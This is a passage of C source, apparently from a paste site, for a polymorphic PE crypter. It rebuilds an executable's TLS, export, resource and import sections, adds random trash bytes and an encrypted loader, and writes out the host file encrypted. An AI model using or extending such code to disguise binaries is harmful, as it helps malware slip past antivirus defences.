  5638. TlsCopy.CallbacksLen=GetTlsCallbacksLen((PDWORD)PB);
  5639. TlsCopy.Callbacks=(PCHAR)MyAlloc(TlsCopy.CallbacksLen);
  5640. CopyMemory(TlsCopy.Callbacks,PB,TlsCopy.CallbacksLen);
  5641. }
  5642.  
  5643. ZeroMemory(&TlsSection,sizeof(TlsSection));
  5644. CopyMemory(&TlsSection.Name,".tls",4);
  5645. TlsSection.VirtualAddress=CurVirtAddr;
  5646. TlsSection.PointerToRawData=CurRawData;
  5647. TlsSection.Characteristics=IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ;
  5648.  
  5649. ZeroMemory(&TlsSectionData,sizeof(TlsSectionData));
  5650. TlsSectionData.StartAddressOfRawData=NtHeaders.OptionalHeader.ImageBase+TlsSection.VirtualAddress+RoundSize(sizeof(TlsSectionData),0x10);
  5651. TlsSectionData.EndAddressOfRawData=TlsSectionData.StartAddressOfRawData+TlsCopy.RawDataLen;
  5652. TlsSectionData.AddressOfCallBacks=RoundSize(TlsSectionData.EndAddressOfRawData,0x10);
  5653. TlsSectionData.AddressOfIndex=RoundSize(TlsSectionData.AddressOfCallBacks+TlsCopy.CallbacksLen,0x08);
  5654.  
  5655. TlsSection.SizeOfRawData=RoundSize(TlsSectionData.AddressOfIndex-TlsSection.VirtualAddress-NtHeaders.OptionalHeader.ImageBase+0x10,RawDataAlignment);
  5656. TlsSection.Misc.VirtualSize=RoundSize(TlsSection.SizeOfRawData,NtHeaders.OptionalHeader.SectionAlignment);
  5657.  
  5658. NtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress=CurVirtAddr; //may change
  5659. NtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size=TlsSection.SizeOfRawData;
  5660.  
  5661. CurVirtAddr=TlsSection.VirtualAddress+TlsSection.Misc.VirtualSize;
  5662. CurRawData=TlsSection.PointerToRawData+TlsSection.SizeOfRawData;
  5663. }
  5664. else
  5665. {
  5666. TlsSectionPresent=FALSE;
  5667. }
  5668. if(!Quiet)
  5669. {
  5670. printf("\n.tls section virtual address: 0x%x",TlsSection.VirtualAddress);
  5671. printf("\n.tls section virtual size: 0x%x",TlsSection.Misc.VirtualSize);
  5672. if(!TlsSectionPresent)
  5673. {
  5674. printf("\n..tls section is invalid, new executable may not work");
  5675. }
  5676. }
  5677. }
  5678.  
  5679. if(ExportSectionPresent)
  5680. {
  5681. if(!Quiet)
  5682. {
  5683. printf("\n");
  5684. printf("\nBuilding .edata section");
  5685. }
  5686. ZeroMemory(&ExportSection,sizeof(ExportSection));
  5687. CopyMemory(&ExportSection.Name,".edata",6);
  5688.  
  5689. ExportSection.VirtualAddress=CurVirtAddr;
  5690. ExportSection.PointerToRawData=CurRawData;
  5691. ExportSection.Characteristics=IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ;
  5692. ExportSection.SizeOfRawData=RoundSize(ExportSectionSize,RawDataAlignment);
  5693. ExportSection.Misc.VirtualSize=RoundSize(ExportSection.SizeOfRawData,NtHeaders.OptionalHeader.SectionAlignment);
  5694.  
  5695. NtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress=CurVirtAddr; //may change
  5696. NtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size=ExportSection.SizeOfRawData;
  5697.  
  5698. CurVirtAddr=ExportSection.VirtualAddress+ExportSection.Misc.VirtualSize;
  5699. CurRawData=ExportSection.PointerToRawData+ExportSection.SizeOfRawData;
  5700.  
  5701. ExportData=(PCHAR)MyAlloc(ExportSection.Misc.VirtualSize);
  5702. ZeroMemory(ExportData,ExportSection.Misc.VirtualSize);
  5703.  
  5704. PB=(PCHAR)VirtAddrToPhysAddr(MainData,pimage_nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
  5705. if(PB!=NULL)
  5706. {
  5707. PB+=DWORD(MainData);
  5708. }
  5709. CopyMemory(ExportData,PB,ExportSectionSize);
  5710.  
  5711. pimage_export_directory=(PIMAGE_EXPORT_DIRECTORY)ExportData;
  5712. //now fix RVAs in export section in Export Directory Table
  5713. ExportNamePointerRVAOrg=pimage_export_directory->AddressOfNames;
  5714. ExportAddressRVAOrg=pimage_export_directory->AddressOfFunctions;
  5715. ExportRVADelta=ExportSection.VirtualAddress-HostExportSectionVirtualAddress;
  5716. pimage_export_directory->Name=pimage_export_directory->Name+ExportRVADelta;
  5717. pimage_export_directory->AddressOfFunctions=pimage_export_directory->AddressOfFunctions+ExportRVADelta;
  5718. pimage_export_directory->AddressOfNames=pimage_export_directory->AddressOfNames+ExportRVADelta;
  5719. pimage_export_directory->AddressOfNameOrdinals=pimage_export_directory->AddressOfNameOrdinals+ExportRVADelta;
  5720.  
  5721. //+ fix RVAs in Export Name Pointer Table
  5722. PB2=(PCHAR)VirtAddrToPhysAddr(MainData,ExportNamePointerRVAOrg);
  5723. PB2-=DWORD(DWORD(PB)-DWORD(MainData));
  5724. PB2+=DWORD(ExportData);
  5725. for(i=0;i<(int)pimage_export_directory->NumberOfNames;i++)
  5726. {
  5727. memcpy(PB2,PB2+ExportRVADelta,4);
  5728. PB2+=sizeof(DWORD);
  5729. }
  5730.  
  5731. if(!Quiet)
  5732. {
  5733. printf("\nexport section virtual address: 0x%x",ExportSection.VirtualAddress);
  5734. printf("\nexport section virtual size: 0x%x",ExportSection.Misc.VirtualSize);
  5735. }
  5736. }
  5737.  
  5738. if(ResourceSectionPresent)
  5739. {
  5740. if(!Quiet)
  5741. {
  5742. printf("\n");
  5743. printf("\nBuilding .rsrc section");
  5744. }
  5745.  
  5746. ZeroMemory(&ResourceSection,sizeof(ResourceSection));
  5747. CopyMemory(&ResourceSection.Name,".rsrc",5);
  5748.  
  5749. ResourceSection.VirtualAddress=CurVirtAddr;
  5750. PrepareResourceSectionData();
  5751. ResourceSection.PointerToRawData=CurRawData;
  5752. ResourceSection.Characteristics=IMAGE_SCN_MEM_READ;
  5753. ResourceSection.SizeOfRawData=RoundSize(ResourceSectionSize,RawDataAlignment);
  5754. ResourceSection.Misc.VirtualSize=RoundSize(ResourceSection.SizeOfRawData,NtHeaders.OptionalHeader.SectionAlignment);
  5755.  
  5756. NtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress=CurVirtAddr;
  5757. NtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size=ResourceSection.SizeOfRawData;
  5758.  
  5759. CurVirtAddr=ResourceSection.VirtualAddress+ResourceSection.Misc.VirtualSize;
  5760. CurRawData=ResourceSection.PointerToRawData+ResourceSection.SizeOfRawData;
  5761.  
  5762. if(!Quiet)
  5763. {
  5764. printf("\nresource section virtual address: 0x%x",ResourceSection.VirtualAddress);
  5765. printf("\nresource section virtual size: 0x%x",ResourceSection.Misc.VirtualSize);
  5766. }
  5767. }
  5768.  
  5769. NtHeaders.OptionalHeader.SizeOfImage=CurVirtAddr;
  5770.  
  5771. if(!Quiet)
  5772. {
  5773. printf("\n");
  5774. printf("\nBuilding import descriptor ...");
  5775. }
  5776. ZeroMemory(&ImportDesc,sizeof(ImportDesc));
  5777. ImportDesc.Characteristics=ImportSection.VirtualAddress+(NumberOfDLL+1)*sizeof(ImportDesc);
  5778. ImportDesc.Name=ImportSection.VirtualAddress+(NumberOfDLL+1)*sizeof(ImportDesc)+(NumberOfImports+1)*sizeof(IMAGE_THUNK_DATA)*2;
  5779. ImportDesc.FirstThunk=ImportDesc.Characteristics+(NumberOfImports+1)*sizeof(IMAGE_THUNK_DATA);
  5780. ThunkGetProcAddress.u1.Ordinal=ImportSection.VirtualAddress+(NumberOfDLL+1)*sizeof(ImportDesc)+(NumberOfImports+1)*sizeof(IMAGE_THUNK_DATA)*2+Kernel32Size+2;
  5781. ThunkLoadLibrary.u1.Ordinal=ThunkGetProcAddress.u1.Ordinal+GetProcAddressSize+2+2;
  5782.  
  5783. ZeroMemory(&NullDesc,sizeof(NullDesc));
  5784. TotalFileSize=RoundSize(CurRawData,NtHeaders.OptionalHeader.FileAlignment);
  5785. if(OverlayPresent) TotalFileSize+=AfterImageOverlaysSize;
  5786.  
  5787. if(!Quiet)
  5788. {
  5789. printf("\n");
  5790. printf("\nBuilding polymorphic part ...");
  5791. }
  5792. TrashSize=(WORD)KeyPtr;
  5793. if(!Quiet)
  5794. {
  5795. printf("\nKey address: 0x%x",KeyPtr);
  5796. printf("\nLoader address: 0x%x",LoaderPtr);
  5797. printf("\nTrash bytes size: %d",TrashSize);
  5798. printf("\nTrash2 bytes size: %d",Trash2Size);
  5799. }
  5800.  
  5801. Trash=(PCHAR)MyAlloc(TrashSize);
  5802. Trash2=(PCHAR)MyAlloc(Trash2Size);
  5803.  
  5804. if((Trash!=NULL)&&(Trash2!=NULL))
  5805. {
  5806. GenerateRandomBuffer((PBYTE)Trash,TrashSize);
  5807. GenerateRandomBuffer((PBYTE)Trash2,Trash2Size);
  5808.  
  5809. NtHeaders.OptionalHeader.AddressOfEntryPoint=CodeSection.VirtualAddress+LoaderPtr+LoaderSize+Trash2Size;
  5810. if(!Quiet) printf("\nExecutable entry point: %d",NtHeaders.OptionalHeader.AddressOfEntryPoint);
  5811. InitData=(PCHAR)MyAlloc(InitSize);
  5812. if(InitData!=NULL)
  5813. {
  5814. VirtLoaderData=NtHeaders.OptionalHeader.ImageBase+CodeSection.VirtualAddress+LoaderPtr;
  5815. VirtMainData=NtHeaders.OptionalHeader.ImageBase+CodeSection.VirtualAddress+LoaderPtr+LoaderSize+Trash2Size+InitSize;
  5816. VirtKey=NtHeaders.OptionalHeader.ImageBase+CodeSection.VirtualAddress+KeyPtr;
  5817.  
  5818. //initiate DynLoader image info
  5819. PB=LoaderData+LoaderSize;
  5820. memcpy(&dw_temp,PB,4);
  5821. while(dw_temp!=DYN_LOADER_END_MAGIC)
  5822. {
  5823. PB--; //DYN_LOADER_END_MAGIC search
  5824. memcpy(&dw_temp,PB,4);
  5825. }
  5826. PB-=5;
  5827. memcpy(PB,&MainRealSize,4);
  5828. PB-=7;
  5829. memcpy(PB,&NtHeaders.OptionalHeader.AddressOfEntryPoint,4);
  5830. PB-=7;
  5831. memcpy(PB,&NtHeaders.OptionalHeader.SizeOfImage,4);
  5832. PB-=7;
  5833. switch(ImageType)
  5834. {
  5835. case itExe:
  5836. dw_temp=IMAGE_TYPE_EXE;
  5837. memcpy(PB,&dw_temp,4);
  5838. break;
  5839.  
  5840. case itDLL:
  5841. dw_temp=IMAGE_TYPE_DLL;
  5842. memcpy(PB,&dw_temp,4);
  5843. break;
  5844.  
  5845. case itSys:
  5846. dw_temp=IMAGE_TYPE_SYS;
  5847. memcpy(PB,&dw_temp,4);
  5848. break;
  5849.  
  5850. default:
  5851. dw_temp=IMAGE_TYPE_UNKNOWN;
  5852. memcpy(PB,&dw_temp,4);
  5853. break;
  5854. }
  5855.  
  5856. //now fix pointers in DynLoader
  5857. //there are 3 push instructions
  5858. LdrPtrCode=NtHeaders.OptionalHeader.ImageBase+CodeSection.VirtualAddress;
  5859. LdrPtrThunk=NtHeaders.OptionalHeader.ImageBase+InitcodeThunk;
  5860.  
  5861. LdrPtr=LoaderData;
  5862. LdrPtr++;
  5863. dw_temp=LdrPtrThunk+4-LdrPtrCode;
  5864. memcpy(LdrPtr,&dw_temp,4);
  5865. LdrPtr+=5;
  5866. dw_temp=LdrPtrThunk-LdrPtrCode;
  5867. memcpy(LdrPtr,&dw_temp,4);
  5868. LdrPtr+=5;
  5869. dw_temp=VirtMainData-LdrPtrCode;
  5870. memcpy(LdrPtr,&dw_temp,4);
  5871.  
  5872. DynCoder(LoaderData,LoaderSize,Key);
  5873.  
  5874. if(!Quiet)
  5875. {
  5876. printf("\nGenerating init code ...");
  5877. }
  5878.  
  5879. //GenerateInitCode(ACodePtr,AKeyPtr,AData1Ptr,ASize1,AData2Ptr,ASize2,ADynLoadAddr,AMainPtr,
  5880. // AEntryPointAddr,AImpThunk:Cardinal);
  5881.  
  5882. GenerateInitCode(LdrPtrCode,KeyPtr,LoaderPtr,LoaderSize,LoaderPtr+LoaderSize+Trash2Size+InitSize,
  5883. MainRealSize,NtHeaders.OptionalHeader.ImageBase+CodeSection.VirtualAddress+LoaderPtr,
  5884. VirtMainData,NtHeaders.OptionalHeader.ImageBase+NtHeaders.OptionalHeader.AddressOfEntryPoint,
  5885. LdrPtrThunk);
  5886.  
  5887. if(!Quiet)
  5888. {
  5889. printf("\n");
  5890. printf("\nBuilding OutputFile ...");
  5891. }
  5892. FileHandle=CreateFile(OutputFileName,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
  5893. if(FileHandle!=INVALID_HANDLE_VALUE)
  5894. {
  5895. SetFilePointer(FileHandle,TotalFileSize,NULL,FILE_BEGIN);
  5896. SetEndOfFile(FileHandle);
  5897. if(!Quiet)
  5898. {
  5899. printf("\nOutputFile: %s (%d)",OutputFileName,TotalFileSize);
  5900. printf("\nSize of new stuff: %d bytes",TotalFileSize-MainRealSize);
  5901. printf("\n");
  5902. printf("\nWriting data ...");
  5903. LogCnt=0;
  5904. printf("\n0x%x: DOS header",LogCnt);
  5905. LogCnt+=sizeof(DosHeader);
  5906. printf("\n0x%x: DOS stub",LogCnt);
  5907. LogCnt+=sizeof(DosStub);
  5908. printf("\n0x%x: DOS stub end",LogCnt);
  5909. LogCnt+=sizeof(DosStubEnd);
  5910. printf("\n0x%x: NT headers",LogCnt);
  5911. LogCnt+=sizeof(NtHeaders);
  5912. printf("\n0x%x: Code section header",LogCnt);
  5913. LogCnt+=sizeof(CodeSection);
  5914. printf("\n0x%x: Import section header",LogCnt);
  5915. LogCnt+=sizeof(ImportSection);
  5916. if(ExportSectionPresent)
  5917. {
  5918. printf("\n0x%x: Export section header",LogCnt);
  5919. LogCnt+=sizeof(ExportSection);
  5920. }
  5921. if(TlsSectionPresent)
  5922. {
  5923. printf("\n0x%x: TLS section header",LogCnt);
  5924. }
  5925.  
  5926. LogCnt=CodeSection.PointerToRawData;
  5927. printf("\n0x%x: .text:Trash",LogCnt);
  5928. LogCnt+=TrashSize;
  5929. printf("\n0x%x: .text:Key",LogCnt);
  5930. LogCnt+=KeySize;
  5931. printf("\n0x%x: .text:DynLoader",LogCnt);
  5932. LogCnt+=LoaderSize;
  5933. printf("\n0x%x: .text:Trash2",LogCnt);
  5934. LogCnt+=Trash2Size;
  5935. printf("\n0x%x: .text:Init code",LogCnt);
  5936. LogCnt+=InitSize;
  5937.  
  5938. printf("\n0x%x: .text:Host file",LogCnt);
  5939.  
  5940. LogCnt=ImportSection.PointerToRawData;
  5941. printf("\n0x%x: .idata",LogCnt);
  5942. if(TlsSectionPresent)
  5943. {
  5944. LogCnt=TlsSection.PointerToRawData;
  5945. printf("\n0x%x: .tls",LogCnt);
  5946. }
  5947. if(ExportSectionPresent)
  5948. {
  5949. LogCnt=ExportSection.PointerToRawData;
  5950. printf("\n0x%x: .edata",LogCnt);
  5951. }
  5952. if(ResourceSectionPresent)
  5953. {
  5954. LogCnt=ResourceSection.PointerToRawData;
  5955. printf("\n0x%x: .rsrc",LogCnt);
  5956. }
  5957.  
  5958. if(OverlayPresent)
  5959. {
  5960. LogCnt=TotalFileSize-AfterImageOverlaysSize;
  5961. printf("\n0x%x: overlay data",LogCnt);
  5962. }
  5963. }
  5964.  
  5965. // stub
  5966. SetFilePointer(FileHandle,0,NULL,FILE_BEGIN);
  5967. WriteFile(FileHandle,&DosHeader,sizeof(DosHeader),&NumBytes,NULL);
  5968. WriteFile(FileHandle,&DosStub,sizeof(DosStub),&NumBytes,NULL);
  5969. WriteFile(FileHandle,&DosStubEnd,sizeof(DosStubEnd),&NumBytes,NULL);
  5970. WriteFile(FileHandle,&NtHeaders,sizeof(NtHeaders),&NumBytes,NULL);
  5971. WriteFile(FileHandle,&CodeSection,sizeof(CodeSection),&NumBytes,NULL);
  5972. WriteFile(FileHandle,&ImportSection,sizeof(ImportSection),&NumBytes,NULL);
  5973. if(TlsSectionPresent)
  5974. {
  5975. WriteFile(FileHandle,&TlsSection,sizeof(TlsSection),&NumBytes,NULL);
  5976. }
  5977. if(ExportSectionPresent)
  5978. {
  5979. WriteFile(FileHandle,&ExportSection,sizeof(ExportSection),&NumBytes,NULL);
  5980. }
  5981. if(ResourceSectionPresent)
  5982. {
  5983. WriteFile(FileHandle,&ResourceSection,sizeof(ResourceSection),&NumBytes,NULL);
  5984. }
  5985.  
  5986. SetFilePointer(FileHandle,ImportSection.PointerToRawData,NULL,FILE_BEGIN);
  5987. WriteFile(FileHandle,ImportSectionData,ImportSection.SizeOfRawData,&NumBytes,NULL);
  5988.  
  5989. // Code section
  5990. SetFilePointer(FileHandle,CodeSection.PointerToRawData,NULL,FILE_BEGIN);
  5991.  
  5992. // Jmps to import section were moved to the end of the initcode
  5993. WriteFile(FileHandle,Trash,TrashSize,&NumBytes,NULL);
  5994. WriteFile(FileHandle,Key,KeySize,&NumBytes,NULL);
  5995. WriteFile(FileHandle,LoaderData,LoaderSize,&NumBytes,NULL);
  5996. WriteFile(FileHandle,Trash2,Trash2Size,&NumBytes,NULL);
  5997. WriteFile(FileHandle,InitData,InitSize,&NumBytes,NULL);
  5998.  
  5999. // Data section
  6000. WriteFile(FileHandle,MainDataCyp,MainSize,&NumBytes,NULL);
  6001.  
  6002. // Tls section
  6003. if(TlsSectionPresent)
  6004. {
  6005. SetFilePointer(FileHandle,TlsSection.PointerToRawData,NULL,FILE_BEGIN);
  6006. WriteFile(FileHandle,&TlsSectionData,sizeof(TlsSectionData),&NumBytes,NULL);
  6007.  
  6008. Delta=TlsSectionData.StartAddressOfRawData-TlsSection.VirtualAddress-NtHeaders.OptionalHeader.ImageBase;
  6009. SetFilePointer(FileHandle,TlsSection.PointerToRawData+Delta,NULL,FILE_BEGIN);
  6010. ch_temp=(PCHAR)TlsCopy.RawData;
  6011. WriteFile(FileHandle,ch_temp,TlsCopy.RawDataLen,&NumBytes,NULL);
  6012.  
  6013. Delta=TlsSectionData.AddressOfCallBacks-TlsSection.VirtualAddress-NtHeaders.OptionalHeader.ImageBase;
  6014. SetFilePointer(FileHandle,TlsSection.PointerToRawData+Delta,NULL,FILE_BEGIN);
  6015. WriteFile(FileHandle,TlsCopy.Callbacks,TlsCopy.CallbacksLen,&NumBytes,NULL);
  6016. }
  6017.  
  6018. // Export section
  6019. if(ExportSectionPresent)
  6020. {
  6021. SetFilePointer(FileHandle,ExportSection.PointerToRawData,NULL,FILE_BEGIN);
  6022. WriteFile(FileHandle,ExportData,ExportSection.SizeOfRawData,&NumBytes,NULL);
  6023. if(ExportData!=NULL)
  6024. {
  6025. MyFree(ExportData);
  6026. }
  6027. }
  6028.  
  6029. // Resource section
  6030. if(ResourceSectionPresent)
  6031. {
  6032. SetFilePointer(FileHandle,ResourceSection.PointerToRawData,NULL,FILE_BEGIN);
  6033. WriteFile(FileHandle,ResourceData,ResourceSection.SizeOfRawData,&NumBytes,NULL);
  6034. if(ResourceData!=NULL)
  6035. {
  6036. MyFree(ResourceData);
  6037. }
  6038. }
  6039.  
  6040. // Overlay data
  6041. if(OverlayPresent)
  6042. {
  6043. SetFilePointer(FileHandle,TotalFileSize-AfterImageOverlaysSize,NULL,FILE_BEGIN);
  6044. WriteFile(FileHandle,AfterImageOverlays,AfterImageOverlaysSize,&NumBytes,NULL);
  6045. }
  6046.  
  6047. if(!Quiet) printf("\nWork completed!");
  6048. CloseHandle(FileHandle);
  6049. }
  6050. else ErrorMsg("Unable to create OutputFile.");
  6051. MyFree(InitData);
  6052. }
  6053. else ErrorMsg("Unable to allocate memory init data.");
  6054. MyFree(Trash);
  6055. MyFree(Trash2);
  6056. }
  6057. else ErrorMsg("Unable to allocate memory for trash bytes.");
  6058.  
  6059. if(TlsSectionPresent)
  6060. {
  6061. MyFree((LPVOID)TlsCopy.RawData);
  6062. MyFree((LPVOID)TlsCopy.Callbacks);
  6063. }
  6064. MyFree(Key);
  6065.  
  6066. if(ImportSectionData!=NULL)
  6067. {
  6068. MyFree(ImportSectionData);
  6069. }
  6070. }
  6071. else ErrorMsg("Unable to allocate memory for encryption key.");
  6072. MyFree(LoaderData);
  6073. }
  6074. else ErrorMsg("Unable to allocate memory for loader.");
  6075. }
  6076. else ErrorMsg("Unable to generate encoder/decoder");
  6077. }
  6078. else ErrorMsg("Unsupported Subsystem.");
  6079. }
  6080. else ErrorMsg("InputFile is not valid PE file.");
  6081. }
  6082. else ErrorMsg("Unable to read file.");
  6083. MyFree(MainData);
  6084. }
  6085. else ErrorMsg("Unable to allocate memory for InputFile data.");
  6086.  
  6087. if(MainFile!=INVALID_HANDLE_VALUE) CloseHandle(MainFile);
  6088. }
  6089. else ErrorMsg("Unable to open file.");
  6090. return 0;
  6091. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement